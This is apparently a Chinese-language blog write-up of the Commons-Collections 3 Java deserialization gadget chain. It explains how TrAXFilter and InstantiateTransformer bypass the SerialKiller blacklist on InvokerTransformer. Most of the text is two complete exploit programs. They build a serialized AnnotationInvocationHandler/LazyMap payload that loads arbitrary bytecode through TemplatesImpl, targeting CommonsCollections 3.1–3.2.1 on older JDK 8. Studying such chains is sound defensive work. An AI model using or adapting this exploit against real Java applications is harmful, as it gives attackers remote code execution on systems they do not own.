利用版本:
CommonsCollections 3.1 - 3.2.1
jdk 8u71 版本之前

2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruinyour day》,以及Java反序列化利用工具ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安全的过滤方法,于是类似SerialKiller这样的工具随之诞生。

SerialKiller是一个Java反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的
类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:

上面是从p牛那里抠的图和话。😍
Commons-Collections3的目的便是绕过一些限制(比如InvokerTransformer),Commons-Collections3使用 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter来替代InvokerTransformer中的任意方法执行(此处为new InvokerTransformer("newTransformer", null, null))TrAXFilter的构造方法中调用了 (TransformerImpl) templates.newTransformer() ,使得我们可以免去了使用
InvokerTransformer调用 newTransformer() 方法。从而绕过InvokerTransformer的限制。


可以看到Commons-Collections3其实就是在Commons-Collections1的基础上进行了绕过。在结合TemplatesImpl动态加载字节码实现代码执行。

相关类
TrAXFilter
TrAXFilter#TrAXFilter

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

InstantiateTransformer
Commons Collections 提供了 InstantiateTransformer类 可通过反射创建类的实例,在 InstantiateTransformer#transform()方法接收一个 Class 类型的对象(此处为TrAXFilter.class),通过 getConstructor 获取构造方法,并通过 newInstance 创建类实例

InstantiateTransformer#InstantiateTransformer

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

InstantiateTransformer#transform

public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
        }
    }

Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
iParamTypes(TrAXFilter构造方法的参数类型.class)与iArgs(参数值)均可控,初始化时传入。
input为TrAXFilter.class

Commons-Collections1与TemplatesImpl相结合的代码未进行绕过的

package Cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc3 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("C:\\class\\","Temp.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "notnull");
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = {
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer",null,null),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object,Object> map = new HashMap<>();

        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
//        lazyMap.get(null);

//        通过反射获取AnnotationInvocationHandler
        Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        Constructor.setAccessible(true);
        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
        // 使用动态代理初始化 AnnotationInvocationHandler
        handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMapProxy);

//        serialize(handler);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        o.writeObject(obj);
    }
    public static Object unserialize(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
        return o.readObject();
    }
    public static void setFieldValue(Object obj,String name,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(name);
        f.setAccessible(true);
        f.set(obj, value);
    }
}

使用TrAXFilter类绕过黑名单,因为该类未继承Serializable接口无法反序列化,所以通过反射获取该类,可使用InstantiateTransformer类。

package Cc3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Cc6 {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("C:\\class\\","Temp.class"));
        Templates obj = new TemplatesImpl();
        setFieldValue(obj, "_name", "notnull");
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map<Object,Object> map = new HashMap<>();

        Map lazyMap = LazyMap.decorate(map,chainedTransformer);

//        通过反射获取AnnotationInvocationHandler
        Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> Constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        Constructor.setAccessible(true);
        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), handler);
        // 使用动态代理初始化 AnnotationInvocationHandler
        handler = (InvocationHandler)Constructor.newInstance(Target.class, lazyMapProxy);

        serialize(handler);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        o.writeObject(obj);
    }
    public static Object unserialize(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream o = new ObjectInputStream(new FileInputStream(s));
        return o.readObject();
    }
    public static void setFieldValue(Object obj,String name,Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(name);
        f.setAccessible(true);
        f.set(obj, value);
    }
}